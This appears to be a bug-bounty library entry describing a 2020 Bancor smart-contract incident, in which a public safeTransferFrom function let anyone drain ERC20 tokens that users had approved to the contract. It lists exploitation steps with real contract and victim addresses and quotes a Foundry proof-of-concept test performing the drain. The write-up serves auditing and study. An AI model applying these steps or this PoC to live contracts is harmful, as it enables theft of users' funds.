# Bancor: public safeTransferFrom drains approved token balances

Bancor contract exposed public safeTransferFrom, letting anyone drain ERC20 tokens from users who had approved the contract.

- Payout: Real-world hack
- Severity: high
- Program: Bancor Protocol
- Analysis by: DeFiHackLabs
- Disclosed: 2020-06-18
- Write-up quality: 6/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2020-06/Bancor_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20200618-bancor
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity technique:source-review vuln:access-control

**Target:** Bancor smart contract (safeTransferFrom function)
**Root cause:** The safeTransferFrom function was left public instead of internal/private, allowing arbitrary callers to specify _from and _to and move tokens using existing allowances.
**Steps:**
1. Identify Bancor contract at `0x5f58058C0eC971492166763c8C22632B583F667f` with public `safeTransferFrom`.
2. Find a victim who has granted an ERC20 allowance to this contract (e.g., `0xfd0B4DAa7bA535741E6B5Ba28Cba24F9a816E67E` for XBP token `0x28dee01D53FED0Edf5f6E310BF8Ef9311513Ae40`).
3. Call `safeTransferFrom(IERC20(token), victim, attacker, victimBalance)` from attacker address.
4. Tokens are transferred from victim to attacker using the victim's allowance.
**How found:** Noticed that newly deployed Bancor contracts had safeTransferFrom as a public function, enabling anyone to invoke it with arbitrary from/to addresses.
**Exploitation:** Attacker calls the public safeTransferFrom with victim as _from and attacker as _to, draining the victim's entire token balance up to the approved allowance.
**Insight:** When auditing contracts, check visibility of functions that move tokens on behalf of others; any public function taking _from and _to can be abused if allowances exist.

## Proof of concept (copied exactly from the original report)

**Foundry PoC calling public safeTransferFrom to drain victim**

```
function testsafeTransfer() public {
        emit log_named_uint(
            "Victim XBPToken Allowance to Bancor Contract : ", (XBPToken.allowance(victim, bancorAddress) / 1 ether)
        );
        emit log_named_uint("[Before Attack]Victim XBPToken Balance : ", (XBPToken.balanceOf(victim)) / 1 ether);
        emit log_named_uint("[Before Attack]Attacker XBPToken Balance : ", (XBPToken.balanceOf(attacker)) / 1 ether);

        cheats.prank(address(this));
        bancorContract.safeTransferFrom(
            IERC20(address(XBPToken)),
            victim,
            attacker,
            XBPToken.balanceOf(victim) //905987977635678910008152
        );
        emit log_string("--------------------------------------------------------------");
        emit log_named_uint("[After Attack]Victim XBPToken Balance : ", (XBPToken.balanceOf(victim)) / 1 ether);
        emit log_named_uint("[After Attack]Attacker XBPToken Balance : ", (XBPToken.balanceOf(attacker)) / 1 ether);
    }
```

